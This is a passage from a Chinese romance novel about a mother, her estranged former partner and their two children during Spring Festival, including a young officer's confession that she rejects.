“嗯”橙橙抿着小嘴,眼珠转转,说:“妈妈家里有烟花吗?去年甄家放烟花,小姑姑肚子里的宝宝还没有出生,今年我想和妹妹一起看,我们可以带小妹妹一起去妈妈家看烟花!” “不可以。”甄世明拒绝道:“宝珠姑姑不会允许你们带着小婴儿到处跑。” “那怎么办?”小小的孩子有了小小的烦恼,橙橙愁眉苦脸,一桌美食味同嚼蜡。 方楷莹不愿意看孩子左右为难,摸了摸橙橙的小脑袋,笑笑说:“橙橙如果想看烟花,就和爸爸一起回甄家吧。” 芯芯看看爸爸,再看看妈妈,低下头抠手指,小声说:“我不想和哥哥分开。” 方楷莹强颜欢笑,也抚摸芯芯的小脑袋,安慰道:“你也去爷爷奶奶家。” “妈妈,那你呢?” 眼前的孩子扯住她的衣袖,用忽闪忽闪的大眼睛看着她,甄世明也停下筷子,静静等她的回答。 她说:“我不去。”- 这一餐饭的氛围并不如想象中愉悦,孩子懵懵懂懂不明白为什么,甄世明也难以解释,好在孩子忘性大,给剥两个新虾,再兜转两个新话题,甄世明就能让橙橙和芯芯把还没来到的春节抛之脑后。 晚上方楷莹陪孩子入睡,拿起枕边的故事书读给孩子听,芯芯却接连说这个故事爸爸讲过,那个爸爸也讲过,日子在故事书中又翻过一页页,那些又是方楷莹不曾参与过的时光。 哄睡之后,她莫名有些惆怅。 路过楼梯发现甄世明还没睡,还坐在上次他们在沙发接吻的位置,他看着落地灯昏黄的光晕发呆,方楷莹走下楼去,走到他身边去,甄世明却对她视而不见。 “我明天就不在这儿住了,过年…你带孩子回甄家吧,他们更喜欢热闹,更想去甄家。” “嗯。” 她没话可说,轻轻叹息,塌着肩膀打算上楼睡觉。 “那你呢,还是不去?”甄世明又问。 方楷莹停住脚步,嗯了声。 甄世明仰起头,深呼一口气,这个女人倔起来总是让他头痛。 甄世明沮丧而惆怅地问:“方楷莹,我不明白你怎么想,但你也知道我们不能一直这样下去吧?” “嗯。”方楷莹点点头。 “今天孩子虽然什么都没说,不代表他们永远都这么好糊弄,有一天孩子发现他们的爸爸妈妈并不像别人的家长那样相处,每次过节时只能和一个人过,那个时候你觉得他们就不会感到困扰吗?说实话,我自己都很困扰。” 方楷莹始终默不作声,她又何尝不困扰,现在甄世明和孩子是她生活的一部分,未来只会紧密相连,越嵌越紧,完全分离只会是剥骨削肉般的痛苦。 可她又害怕。 往前走也是一次冒险。 甄世明看似改变了很多,对待孩子成熟稳重,可他心里的占有欲总是时不时冒头,等到再次扭曲时,会不会将她又一次囚锁在这里? 她总是不敢这样想。 “我怕重蹈覆辙…” “难道我不怕吗?”他问:“我总感觉你是在和我玩儿一场过家家的游戏,我始终是爸爸,你偶尔扮演妈妈,我觉得你随时会脱身,每天醒来我看到你都觉得是在梦里,没有丝毫安全感,我不敢要求你什么,也没有资格要求你什么,我想让你回甄家,只是想多添一份安全感,你愿意更多地参与我们的生活,我才能确信你这次回来不会再走。” 所有的信任都已经随着时间瓦解成碎片,在废墟上重建,是更庞大复杂的工程。 “我不会走。” 语言有时就是如此苍白,即便她说了,但他不相信,苦笑道:“你曾经也说不离开我……” “那是你逼我说的。”方楷莹直言。 甄世明:“……” 方楷莹:“这次是我自己说的,只要你不逼我,我不会走。” “我现在不逼你,你来去自由。我只是想有个身份,而不是你闲着没事干就玩儿我一下,有正事干就把我一脚踢开。”甄世明喉间滚动,委屈咽下去有些酸楚。 “我没有……吧?” “你有。”他眼含哀色,却不再声张,沉静下来说:“我要你重新考虑我们两的关系,但我知道你想不明白,可能还会乱想,我给你两个选项。” 甄世明闭上眼睛,破釜沉舟般下定决心。 “要么去教堂,要么上法庭。” “方楷莹,你来选。” 第56章 甄世明给她下了最后通牒。 那一晚, 方楷莹都没有睡着。 过年前的几天,她破天荒地约蓝梦逛街,带着两个小孩在商场碰面。 作为妈妈, 她送给孩子的东西其实不多, 虽然知道甄世明已经给孩子买好几套新衣服,但新年即将到来, 她也想借着再买几套衣服的名义, 带孩子出来感受春节前的氛围。 路上川流熙攘,走到哪里都是客客气气的人群,方楷莹平时不喜欢往热闹嘈杂的地方钻, 但过年前氛围祥和, 孩子也喜欢。 她和蓝梦约好在商场咖啡厅碰面, 先给孩子点了两杯牛奶喝,方楷莹坐在靠窗位置瞭望发呆。 脑袋里总在想甄世明说的话, 上法庭又如何,甄世明根本不需要动用关系, 仅仅是这几年的缺位就能让她在法庭落败, 更不用提他的固定住所和经济能力。 如果他不愿意让孩子和妈妈接触,她可能一开始就见不到橙橙芯芯, 如果他真的狠心, 也有能力让她再也见不到孩子, 但她知道,甄世明狠不下这心。 兜兜转转数年, 她还是确信自己了解他。 她只是在回想那晚, 那盏温黄的灯下,他静静地坐在沙发,始终挺拔的背脊微弓, 耳缘泛着红,眼睛看着她。 极为克制的目光仿佛在告诉她,那一颗摔成碎片的心他好不容易才糊在一起,任何风吹草动都会再次碎成眼泪。 她不敢说什么,怕他随时会哭出来,只木讷地点点头说“会好好考虑”。 走上楼时在墙壁拐角回头看他,他依然保持着不动的姿势,记忆中桀骜不驯的混蛋现在颓然憔悴,那些折磨着她的,原来也一直在折磨他,方楷莹感觉心好像被利针扎了一下。 可谁又来将谁缝补? 那一晚,她因此没有睡着。 如果不是有人轻拍她的肩,方楷莹都没发现站在眼前这个女人就是蓝梦,一大两小都没能一眼认出她来。 蓝梦剪了短发! 爱美的她短发造型一样漂亮,只是和之前的慵懒千金风格不同,齐耳直发更利落干练,猫眼墨镜一戴更酷飒潇洒。 “怎么样?姐妹儿这造型!” 小孩儿张着嘴看愣了,方楷莹也看愣了,久久说不出话,而蓝梦对他们的反应很满意,喝了一口孩儿的牛奶,说:“秦赫之前不是说最喜欢我的波浪长发吗?我每天精心打理费劲死了,现在我就让他知道知道,什么叫‘我是你妈,千变万化’!” 方楷莹浅浅笑,然后伸出大拇指赞扬她的新发型。 两人领着两个孩子逛街,方楷莹牵着芯芯的手,蓝梦拉着橙橙的手,她趴在蓝梦耳边问和秦赫最近还有没有联系? 蓝梦撇嘴翻白眼:“男人就是贱,我巴着他的时候他真觉得自己是根葱了,现在一离婚,倒是殷勤得不得了,比谈恋爱那会儿还粘人,变着法儿的约我出去,喏,刚才还问我申博压力大不大,想不想出去夜跑?有毛病似的!” 橙橙仰起脑袋,非常狗腿地说:“我一直喜欢蓝梦阿姨,我是不贱的男人!” 蓝梦拉着小手笑着捏他的小脸,说:“橙橙现在是好小孩儿,以后也得做绝顶好男人是不是?!” “是!”橙橙一蹦一跳地应和。 而芯芯扣了扣方楷莹的手心,贴在身边问:“妈妈,蓝梦阿姨为什么离婚?是因为秦赫叔叔不听话吗?” 方楷莹不知道该怎么和孩子解释,支吾几声,蓝梦抢答道:“对,芯芯你记住,男人不听话就要被离婚退货的,你以后听不听话?” 芯芯脸上浮现羞涩的笑容,抓紧方楷莹的手,说:“我听话,我爸爸更听话。”- 五岁的小孩子已经有了自己的审美,橙橙到店里选出自己喜欢的衣服,还会让店员阿姨给拿两件,和弟弟一起钻进试衣间里试衣服,蓝梦的作用是把控审美,而方楷莹只能负责刷卡。 孩子们试衣服的间隙,蓝梦抿着花茶,忽然问她:“你会在哪儿过年?” 方楷莹并腿坐着,双手捧着热茶杯,低头说:“方楷杰今年给我发了短信,说不回国,过年可能我自己过吧。” 蓝梦沉默了会儿,问:“甄世明和孩子呢?” “他们回甄家。”方楷莹眼睫垂下,脸色和平时一样,看不出什么波澜。 “……你不觉得孤单吗?” “习惯了。”她淡淡地回答。 在国外五年,安妮陪她过了第一年春节,汪先生陪她过最后一年,中间的三年她都是一个人。 一个人在外更要把自己照顾好,她会提前采购年货,买平时舍不得吃得高价水果,会自己做酒渍菠萝,在除夕夜吃吃喝喝犒劳肚子。 她也保持着看春晚的习惯,铺好毯子,窝在沙发,用手机看,屏幕里的人很多很小,看着热闹拥挤。 有时看着歌舞走神,会想起妈妈在家给她剥坚果再勒令她吃掉的样子,有时看着笑不出来的小品,她会想甄世明和孩子现在在干什么。 最后她在还没唱到《难忘今宵》时蜷在沙发醉倒睡着,手机在沙发缝隙里热热闹闹地响一整夜。 不觉得孤单。 但蓝梦会握住她的手,唇角下弯,用心疼的目光看她,方楷莹笑了笑,说:“我是很想陪孩子过年,但是孩子更想回甄家,我不能用母亲的爱把孩子捆在身边,更希望他们开心。” 她曾深深体会过被爱捆绑的感觉,所以绝对不会让自己的孩子再次体会,她的孩子应当同时享受被爱和自由的感觉。 蓝梦沉默片刻,不好意思地说:“其实我很想陪你,但我离婚的事儿还没和爸妈说,你也知道我爸身体不好,除夕还得让秦赫跟我回去演戏,要不你也一起去我家?” 方楷莹脸一皱,摆摆手,“我守不住秘密,让我揣着秘密去你家,不用坐老虎凳就全招了,你饶了我吧,成吗?” 蓝梦哈哈大笑,调侃道:“你说说你,明明是一南城姑娘,现在说话越来越像甄世明了。” 方楷莹:“”- 下午她把两个孩子和大包小包的衣服都送回山顶别墅,又去了一趟花店,买下一束白菊前往墓园。 新一年的管理费交给墓园,方楷莹在母亲的墓前站了许久,天色渐晚,她也站累了,就坐在墓碑旁靠着妈妈,对妈妈说些她可能想知道的事情。 “方楷杰在动物保护协会交了很多朋友,只是一直都没谈女朋友,他不怎么联系我,可能依然觉得是我搞砸了一切,关于近况我了解不多,都是看他朋友圈才知道的。” “我现在过得也很好,饭都好好吃着,几乎不吃垃圾食品,最喜欢的还是芙蓉汤,虽然心理病还没好,但身体不错,只是看着瘦点儿” 对着黑白的照片说了许久的话,她拖着酸麻的腿站起身,重新笔直地站在妈妈的墓前。 犹豫片刻,她问:“妈妈,那时候你总是骂爸爸,但如果他再次回来,你还愿不愿意和他一起过?我是说我现在有两个孩子,我想重新开始的话,你会不会怨我?” 她等了很久,也没等到个答案。总是在唠叨的妈妈现在不再诉说苦难,她一句话都不说。 夜色渐浓,方楷莹往回走。 冬末春初的夜晚忽然起了风,并不寒烈,轻柔地吹拂过来,像妈妈的手,摸了一下她的脸- 方楷莹回到人才房,家里焕然一新。 她不在的那段时间,蓝梦不止重新换了电视玻璃,还把家里的软装改造一番。 蓝梦审美在线又爱添置“无用”小玩意儿,让本来装修简单的房子看上去更有家的感觉,只是儿童房是方楷莹的成果,蓝梦没有改动一点儿。方楷莹拍了一张照片给她,并说了声谢谢。 房子看起来不空, 人就看起来不孤单。 她在新年前夕去了超市,超市音响热闹,人声鼎沸,大人带着小孩推车穿梭,她提小筐买了菠萝和金酒,也挑些水果,选一块蛋糕。 除夕当天她睡到晌午才醒,人却懒在床上不想动,好不容易起床也懒得梳洗,在空荡的家里溜达两圈,打开儿童房看看。 磨蹭到中午,刷牙洗脸,打开电脑,看到玛丽教授新发的论文,她啃着面包就论文,当做中午饭。 整篇看完已是下午,她给玛丽教授编辑祝贺短信,也祝她新年快乐,想起那边是深夜,没发出去。 暮色暗下来,社区里家家户户的灯光一盏盏亮起,孤单的感觉来得突然又猛烈,她把屋子里的灯都打开,电视机也打开,又拿出水果哗啦啦地洗切,制造出一些热闹的动静。 最后将泡好的酒渍菠萝摆在茶几,笔直地坐在沙发等待春晚开始。 低头一看表,六点半。 方楷莹捂住手表,轻叹口气,四处看看却不知道还能干什么。 打开手机相册,翻看橙橙和芯芯的照片,他们在游乐园玩耍,在幼儿园门口蹦跳,在雪地里捏雪团,现在估计在甄家吃年夜饭,也许会有很多人摸他们的脑袋,量他们的身高,也夸他们更加懂事可爱。 方楷莹一边翻看照片,一边吃酒渍菠萝,酸涩的味道从口腔蔓延到心里,差点让人流出泪来。 她双手捧着手机看得认真,外面门铃响了三声才意识到是自己家的。 穿着毛茸茸的睡衣,顶着一张素颜的脸,她趿起拖鞋走到门口,顺猫眼一看,又微微怔住。 “怎么是你?” 第57章 “怎么不能是我?” 温文站在门外, 笑着问她。 他没穿军装,穿了件黑色冲锋衣,显得身材高挑挺拔, 站姿笔直, 一派端正气质中又透着坚实的力量感。 温文额头有汗,身边码着一筐筐各式水果, 筐叠起来整整齐齐到他肩膀, 看着是楼上楼下来回搬运了几趟,最后才按响门铃。 方楷莹自下而上打量一层又一层的水果箱,像是刚从水果店进货回来, 不禁疑惑问道:“这是干嘛?” “我给你送点儿过年的慰问品。” “部队的慰问品这么多吗?” 温文抓了抓脖颈后, “嗯其实是我想来看看你, 不知道你喜欢吃什么,就各买了点儿, 你都尝尝,挑喜欢的慢慢吃。” “额” 方楷莹想说她一个人吃不了, 但让温文再一趟趟搬下去估计他也不肯, 只好说句谢谢,再请人进门喝茶。 温文不让她沾手, 把那些东西全搬进她家里, 又问洗手间在哪儿, 进去洗了洗手。 方楷莹给他倒了一杯热茶水,把自己切好的水果盘往他的方向推了推, 两个人各自端正坐在沙发上, 气氛忽然就有点儿尴尬。 长时间没话说后,温文先打破沉默,拿出另一个精致的包装盒, 递进她手里,说:“差点忘了,这个…是送你的新年礼物。” 方楷莹眨眨眼,指向墙角的一筐筐,说:“那些不是礼物吗?” “那是慰问品,不一样。” 方楷莹:“……” 好吧。 她在温文热烈目光的注视下拆开包装,里面是一支黑色珑骧包,和她一直背的那个是同款。 他不知道她喜欢什么,觉得她用很久的应该就是喜欢的,跑了商场各大柜台,凭着记忆力向店员要一款长约三十厘米的棕色手柄尼龙包。 方楷莹不会知道这包来之不易,只隐约觉得不太对劲儿,温文像是有求于她,便问道:“你为什么会送我包?项目又出问题啦?” “你能不能盼我点儿好?”他微微皱眉道:“上次你的包是被我的车刮破了,我想我有责任送你一个新的。” 方楷莹总有种无功不受禄的感觉,低着头说:“倒也不用,那个本来就背了很多年,坏就坏了,你的好意我心领了,这个包……” 一抬头,温文正失望地看着她。 “大过年的你一定要拒绝我吗?”温文说:“这包本身不贵,不是多重的礼物,比起你帮我的忙,包的价值就更不值一提。” 方楷莹:“……” 行吧。 她再次道谢,气氛再次冷却。 他们见面都是在工作场合,温文现在不和她聊工作,她也没话可说,但他毕竟是客人,方楷莹试着客气客气,绞尽脑汁想出一句:“你吃酒渍菠萝吗?” 温文看着她,迷茫地眨了眨眼。 “噢噢,禁酒令。” 她抿起嘴唇,人一尴尬就显得手忙脚乱,又把水果往那边儿推了推,顶上的橘子滚落下来,被温文半空接住。 或许是她在吃水果这方面太执着,温文难抵盛情,非常给面子地剥开吃了一瓣儿。 好半天方楷莹又憋出个新问题:“你怎么今天没穿军装?” “我请了探亲假,明天回家。” “今天没买到票?” 温文脸色不太自然,端起茶喝了口,说:能买到,但想先过来看看你,上次听到你打电话…觉得你也许是一个人过年…” 还真让他猜对了。 方楷莹并不想与别人过多提及孩子和甄世明,垂首缄默片刻,问他:“你家在哪儿?” “南城。” “南城?”方楷莹诧异地抬起头。 他的口音一点儿听不出是南城人,长期生活在京市的人多多少少会被同化口音,她也一样,有文化深度的城市或许就是会这样。 温文眉眼带笑,好像早知道她会是这种反应,“我知道,你也是南城人,你的资料我们都掌握,但是……”他顿了顿,续道:“我早就认识你。” 方楷莹更震惊:“什么?” “其实你也能看出来我学习挺好的吧?”温文眼含笑意,遥想从前,“我初中参加物理竞赛,我的辅导老师以前辅导过你,她总提你,反复说你是最骄傲的学生,再对我们进行贬低教育。” 现在想起来温文觉得有意思,但当时可不这么想,“虽然没见过你,但我小时候就特恨你,把你当假想敌,想着将来有一天超越你,直到你来部队,又是指导我工作,我刚开始气得不行才那样对你,后来觉得是缘分,因为我从来没想过能见到你,最后…还喜欢上你。” 最后一句话传递出的信息让方楷莹的大脑无法处理,人双目空洞,一动不动,像电脑死机一样卡住。 温文知道她有种特殊的心理疾病,并不着急,静静等她理解,一双笑瞳始终看着她。 “你说啥?!” 方楷莹涨红的脸像cpu过热似的。 温文被她突然变尖的嗓音吓一跳,也开始紧张,清清嗓说:“我喜欢你。” 方楷莹又卡住。 “大概只有你看不出我喜欢你,我战友全都看出来了。政委找我谈过话,说我还年轻和你不合适,可我就是喜欢你,每天晚上我都在想你,你——” “你疯了吧?!” 方楷莹的脸上十分精彩,薄唇微张不可置信,双眉紧皱难以接受。 他才二十五岁,大好年华跟谁谈恋爱不好,热血年纪晚上想谁不好,怎么就偏偏喜欢她这带俩娃的,方楷莹自己都难以理解。 “我的情况你不知道吗?”她问。 “知道。”温文目光坚定。 “那你这是在干什么?”她摊手问。 “既然我说喜欢你,我就不介意你有孩子,而且我年轻,喜欢孩子,跟孩子能玩儿得来。” 温文坐得端正,看向她的目光坚若磐石,认真说道:“你不用有思想负担,现在流行姐弟恋,当然我不是跟风,我就是觉得你很好,觉得咱两有话说,我这些天和你说的话,比这么多年和女生说的话加起来都多。” 方教授本就脆弱的情感观遭受到严重冲击,听一句就得做一个深呼吸。 温文也因为紧张而太阳穴绷筋,他本身是直来直去脑子里想什么就说什么的人,在极度紧绷的状态下,更容易把心里想的话脱口而出:“而且我对你有别的想法,不止是想和你说话,我看见你就总想亲你,从进门到现在我已经想五次了。” 疯求了疯求了。 这个世界疯求了。 方楷莹捂住耳朵缓了好久。 “你、喜、欢、我?” 天呐!她说出来都觉得奇怪! 温文立刻给出肯定答案。 “是!” 不敢置信的方楷莹开始探究到底哪里出错了,眼珠乱转,试探着问:“你是不是见过的女性不多?” 温文:“是不多,但我不需要见那么多,我非常清楚自己喜欢什么样的,就完全是你这样的,我看见你生气我也会生气,我看见你笑我也开心,如果这不是喜欢,我不知道什么才算喜欢。” 他说起话来有一种朴实的耿直,但方楷莹更像被这耿直砸蒙的人,双手扶住额头,指甲掐进太阳穴。 又瞎思考很久,她颤嚅着嘴唇,说:“请问你母亲还健在吗?” “我妈好着呢,我不是缺乏母爱。”温文终于像平时似的浅浅白她一眼,“我喜欢是因为你聪明睿智,在我眼里你光彩照人,你难道看不出自己的魅力?就像现在,你穿着这种睡衣我都觉得你” 性感。 但他没说下去。 方楷莹也不是在哪个方面都聪明睿智,就像现在她完全陷入死机状态,只感觉温文离她更近了些,冲锋衣袖口的寒气蹭了一下她的手。 他牵起方楷莹冰凉的手,看见她额头皮肤一小块掐过的指甲印,把冰凉的手放在他的胸口,让她感受有力跳动的心脏。 “如果你不能判断自己的感情,现在我告诉你,我要亲你,你可以随时推我,只要你推我,我就不会继续靠近,如果你不想推开我,那就证明你也喜欢我。” 明明他在身边说话,却感觉特别遥远,她能感觉到温文紧张,因为能摸到他的心跳更剧烈。 年轻俊朗的脸越来越近,近到方楷莹能嗅到他身上淡淡的洗衣粉味,能看清楚双眼皮的褶皱和眼眸中的激动,虽然他在逐渐靠近,但方楷莹却几乎感觉不到他的呼吸。 孤单侵入时意志有多薄弱? 在这样一个孤单的除夕夜,年轻英俊的男人突然敲响她的门,说喜欢她,想要陪伴她。 即便她已经三十岁,认为自己内心足够富足,不会败给孤单的瞬间,但这一刻,内心的空虚让她无力推开眼前的人,这个瞬间,她选择了闭上眼睛。 如果门铃没有再次响起,她也无法确定这个夜晚将会发生什么,或许并不只是亲吻… 但在未来,她无比感谢这尖锐的门铃声,让她在混沌、迷蒙、顺从中重新清醒过来,让她意识到此时内心的摇摆会让她在未来时光里多一件后悔的事。 她睁开眼睛,推开温文。 再一次处于不败之地。 “我去开门。” 她不愿直视温文眼中的爱慕,匆匆忙忙跑去开门,门外三个人,才是她的生活。 橙橙笑容灿烂,双手抱着爱马仕小房子包,芯芯眼泛泪花,紧紧搂住新获得的遥控车。 “妈妈,我们来啦!” 她蹲下身,在门口搂住两个孩子,橙橙和芯芯在脸颊左右啵啵亲她。 而甄世明一手提着甄家厨房做的年夜饭,一手握一瓶红酒,脸上即是无奈也是妥协,低眼看着孩子和方楷莹拥抱,唇角微微扬起。 再一抬眼,笑容凝固在脸上。 第58章 甄世明越过母慈子孝的画面, 与藏在方楷莹家里的男人对视。 好一张皮肉紧致的脸庞,好一副矫健挺拔的身体,好一件硬挺有型的冲锋衣, 好一个乘虚而入的贱人! 甄世明凝固的微笑转为阴冷笑容, 以敌不动我不动的好脾性从容应对,似是不经意说道:“老婆, 家里来客人了?” 方楷莹:“你叫谁?” “不介绍一下吗?”他异常平静有礼。 听甄世明这语气就是要作妖, 扭曲事实是他惯用的伎俩,而方楷莹也心虚万分,堪堪站起身, 介绍道:“这是我上次工作认识的温文少校, 这是我孩子爸爸, 甄世明。” “唔,温文少校” 甄世明脸上体面挂笑, 心里骂骂咧咧:操,走了个姓汪的, 来了个姓温的, 老子他娘的跟三点水干上了! “甄先生。” 温文耿直,不会假惺惺地笑, 但看在方楷莹的面儿上绷着脸打了个招呼。 方楷莹把两个孩子手里的东西接过, 拉着小手进门, 拿出早就准备好的卡通小拖鞋给孩子穿上。 根本不用管他们的爹,人家自己就先迈步进门了, 顶着一张英秀精致的脸, 一身矜贵有腔调的米白色叠穿套装,款款站在温文面前,脸上拗着一股盛气凌人的劲儿。 “温少校, 看着挺年轻的,”甄世明笑不及眼底,淡淡道:“这么年轻这样的军职,在部队能服众吗?” 温文双手插兜,扬起下巴,淡然回道:“还行,甄先生看着也不显老,今年…四十岁?” 甄世明:“……” 他心里暗骂:小贱人你什么眼神儿!老子今年三十三!正是如花似玉如狼似虎的年纪,我和方楷莹生孩子的时候你还没参加高考呢! 但他不能骂人,不能大过年给方楷莹丢人添堵,得在情敌面前展现高素质的一面。 于是假笑:“温少校真会开玩笑,我要是四十岁就能当你爸爸了。” 温文:“……” 两双怒目齐齐撇向方楷莹。 她正忙着给孩子脱衣服,两个孩子后背出了汗,她家里也热,从头脱到脚,只留下秋衣秋裤。 方楷莹也有自己的小心思,把脱掉的衣服藏起来,担心甄世明狗脾气一上来拎着孩子走了。 “甄橙甄芯,”甄世明压着怒气,亲切地把自己的狗腿儿子招呼过来,笑意绵绵地说:“过来给温文哥哥问好。” 橙橙先端着遥控车跑过来,奶声奶气地叫:“温文哥哥好。” 温文蹲下身与小男孩平视,笑容只展现给这个和方楷莹长得像的小孩子,低声细语说:“叫叔叔。” 橙橙仰起头看看爸爸冷若冰霜的脸,又看看眼前这位陌生人,迅速表现出识时务者为俊杰的大人气质,与爸爸统一战线,力争做守卫家庭的排头兵。 “温文哥哥好!”他大声说给爸爸听。 温文:“” 甄世明很满意,脸上一副“这才是我好大儿”的骄傲模样,并准备过完年后给橙橙的信托基金狠狠加上一个小目标。 温文不会和孩子生气,低头看了眼橙橙手里的遥控车,笑笑说:“这是卫星通信车,用在战场可以保持通讯或者用于电子对抗支援,为了解决复杂地形的通信盲区问题。” “哇!”橙橙不明觉厉,“温文叔叔你好厉害!怎么什么都懂呀?!” 温文屈指刮了刮他的鼻头,“因为我们部队就有这样的车。” 橙橙自来熟,抱着小车坐在温文腿上,一下子攀住他的手臂,撒娇道:“叔叔,那真正的通信车是什么样子?能再给我讲一讲嘛?” 甄世明脸色骤变,一把扯回孩子,拎起来抱在怀里,并在心里默默撤回橙橙的信托小目标。 两个男人争锋相对,暗流涌动。 方楷莹拉着芯芯的手从他们中间穿过,并不打算参与男人无聊的竞争,坐在客厅沙发给孩子剥橘子。 没想到两个人的战场随着她的走动也挪到客厅来,温文的表白还没有得到回应,自然不打算走,重新坐回沙发。 甄世明心里暗骂此人不要脸,可这是方楷莹的家,她不发话,谁也不能赶谁走。 他只能把芯芯赶开,死皮赖脸坐在方楷莹身边,双眼炯炯盯着,以防两人趁他不注意眉目传情。 这导致温文的眼神一看向方楷莹,就对上甄世明狗护食的严厉目光。 芯芯和橙橙一左一右坐在温文身边,橙橙用崇拜的眼神看着他,芯芯却充满戒备,保持距离。 “叔叔,你在我妈妈家干什么?”芯芯声音虽小,但直言不讳。 温文不知该怎么回答,与方楷莹对视一眼,她哄孩子说:“叔叔是来给妈妈送新年礼物,有好多水果,芯芯想不想吃?” 芯芯摇头:“我在爷爷奶奶家吃了一天,谁都来喂我吃东西,妈妈你饿不饿?爸爸专门让厨房做了好吃的带过来。” 方楷莹没说什么,给了甄世明一个眼神,甄世明立刻接收到信号,马上站起身,风风火火收拾餐桌,把菜盘摆开。 身体在行动,目光在盯紧,真正做到了眼神与身体X型交叉。 “老婆!我们马上开饭!” 两个小孩子看爸爸忙不过来,也一前一后跑过去帮忙收拾餐桌,却遭到爸爸的严厉制止。 “坐到温文哥哥身边去!” 于是橙橙和芯芯又坐回去,翘着小细腿,两双黑白分明的葡萄眼盯住温文。 方楷莹觉得尴尬丢人,又左右为难,与温文对视一眼,小声说句:“抱歉,让你看笑话了。” 温文咬了咬唇,坦然道:“没关系,你有孩子陪着更好。” 温文不愿她为难,也知道她一定更想和孩子过年,于是站起身告别:“今天我想说的话其实都和你讲完了,你慢慢考虑,我不着急。” 甄世明耳朵竖起,一听温文说走,立刻迈长腿走过来,“啪”地一声把门打开,假意笑道:“我送你。” 温文:“……不用。” 甄世明坚持要送,温文笑笑说行。 方楷莹了解甄世明的脾气,让他去送两人非得打一架不可,大过年真出事可不好,抢先截住他,匆忙套上羽绒服,急急道:“你不能送,我送。” “你还穿着睡衣,我去送——” “我说了,我送。” 甄世明看着她脸上严肃的表情,最终偃旗息鼓,嘴唇动了动说:“送电梯口得了。” “你把孩子看好得了。”方楷莹回头瞪他一眼,又怼他一句。 两人一前一后走出家门,上了电梯,甄世明一直微笑目送电梯关闭,转头就让孩子乖乖待在家里,坐另一部电梯追了出去- 电梯里。 温文侧目在电梯镜中看她,她低着头,脑海里反复组织语言,想和他说声对不起。 抬起头,刚要开口,温文就转身过来,将她敞穿的羽绒服提起来系好扣子,她后撤身体,温文低头躬身,柔软的吻落在她的额头,又把她轻轻抱在怀里。 方楷莹又卡住了。 黑白分明的眼眸看着他泛红的耳垂,方楷莹有一瞬间的迷糊,但在他捧住脸吻过来时,方楷莹的头脑完全清醒。 她用力去推开温文,两个人分开一点距离,一个因为使尽力气而喘吁,一个则因为紧张。 “这是你的答案吗?”温文喉结滚动,他困惑不已,明明第一次吻时她闭上了眼睛,但现在却十分抗拒。 电梯门打开,门厅里的冷风再度吹醒了她,她镇静下来,低头说:“嗯,我们不合适。我出来送你就是想和你说清楚,我可能对你有好感,但完全是出于工作,欣赏你的能力和为人,这种感情是对合作伙伴,不是男女之间,我很感激你喜欢我,但我必须拒绝你。” 再往出走,温文跟在身后攥住她的手臂,他颌骨微紧,眼里的火热灼透了她,“我不明白,我和你表白的时候,你并没有拒绝我吻你,为什么现在拒绝?” “那是因为我当时很孤单,很脆弱,很自私。”她沉下气说:“如果我们今天真的发生了什么,我明天就会后悔,这对你来说不公平。” “你为什么会后悔?”温文不解。 方楷莹咬住嘴唇,过了很久,说:“因为我…我和甄世明的关系很复杂,说不明白,你可能难以理解。” “你说,我尽量理解。”温文耐心道。 方楷莹思索片刻,低声说:“你也知道我的病情,你现在不了解我,所以喜欢我,但最终有一天你肯定受不了我,但甄世明可以,因为他…他的神经病比我更严重,他只是没去查过。” 温文:“……” 她无法否认自己和甄世明的关系并不健康甚至扭曲,也无法承认自己在这段关系里是甘愿沉沦。 只说:“他恨我我恨他,这种恨占了我们内心的大部分……塞不下别人,我认命了,只能跟他这样纠缠,我也愿意和他就这样纠缠一辈子。” 温文半晌没说话。 他确实无法理解。 “既然恨,既然痛苦,为什么不远离?” “我尝试过。”她脸上依然平静,声音却颤抖起来:“我什么都尝试过,我以为时间够长就可以,也以为千万公里之外就可以,甚至我还换了新的人,结果呢?我再见到他,一切都失控了。” “我可以告诉你,如果我和你在一起之后会发生什么,他会生气,和我吵架,想尽办法破坏,你会卷入乱七八糟的关系里,生活不再安宁,最后受到更深的伤害。” 汪先生就是最好的先例。 “最重要的是,我会很难受。因为我……我大多数时候都可以克制自己,可以拒绝大多数诱惑,但至今,在他面前我没有自控能力,我也拒绝不了他……” 方楷莹一口气说了很多,语言凌乱甚至自己也不知所云,所幸温文通常都能理解她的话,总结为:“你爱他。” 方楷莹沉默了。 她忽然感觉脸颊有一道热痕,伸手一擦发现那是眼泪,她皱起眉头,不甚怜惜自己地随便抹去。 “你是个好人,去喜欢一个正常人,开始一段健康的恋爱,我们不合适,我不喜欢你。” 温文看了她很久,面前的人眼角藏泪,却面容平静,目光坚定地与他对视。 最终失落地点点头,说:“知道了。” 两人背道而驰。 — 方楷莹匆匆走回电梯间,甄世明正双手插兜站在那里,脸色看上去还算平静。 她叹息一声,耷着眼角走到他身边去,小心翼翼试探问:“你…听到多少?” 听没听到温文说吻她那部分? 甄世明仔细想了想,说:“全部。” 方楷莹闭上眼睛,缓缓挪手捂住双耳,等待着黑夜中的呜咽与怒吼,盘算着他得吵多久,是不是会耽误看春晚。 甄世明没说话,抬起手。 她下意识瑟缩下肩膀,却被他轻轻搂入怀中,他抬手温柔揩去藏在眼角的泪,低下头,鼻梁轻蹭微凉的黑发,轻轻叹息一声,仿佛也认命一般。 “最后是我就好。”他说。 第59章 这个时候方楷莹才发现甄世明与从前不同, 他没有暴跳如雷,没有声嘶力竭,异常平静坦然。 方楷莹有点不习惯, 甚至以为他只是没反应过来, 耳朵贴近胸膛,听他心跳也平稳, 又假装不经意地问:“你听到我们说的第一句话是什么?” “别试探了。”甄世明把人搂紧些, 叹息一声道:“我都听见了,就算没有听见,你开门时候脸红成那样, 我也想到了, 我只庆幸今天没堵车, 情况比我想象中还要好一些。” 这次回国之后,她能明显感到甄世明有改变, 很多时候他都成熟稳重,但那扭曲的占有欲却从来没变过, 逼走汪先生, 想方设法把她留在山顶别墅……今天倒像是太阳从夜里出来了。 方楷莹不禁扪心自问, 他还是曾经那个人吗? 甄世明不怪她, 她只是比平常人更难抵御突如其来的情绪, 是外面那些小贱人勾引她! 他也忽然意识到, 从前那个别人都觉得“奇怪”的方楷莹,现在每时每刻都在散发魅力, 这只萤火虫就算被他捂在手心里, 别人也能从指缝中窥见她的光芒,但他从来都舍不得像对待儿时那只萤火虫那样对待她。 拿她没办法。 甄世明低下头,双手捧住她的脸, 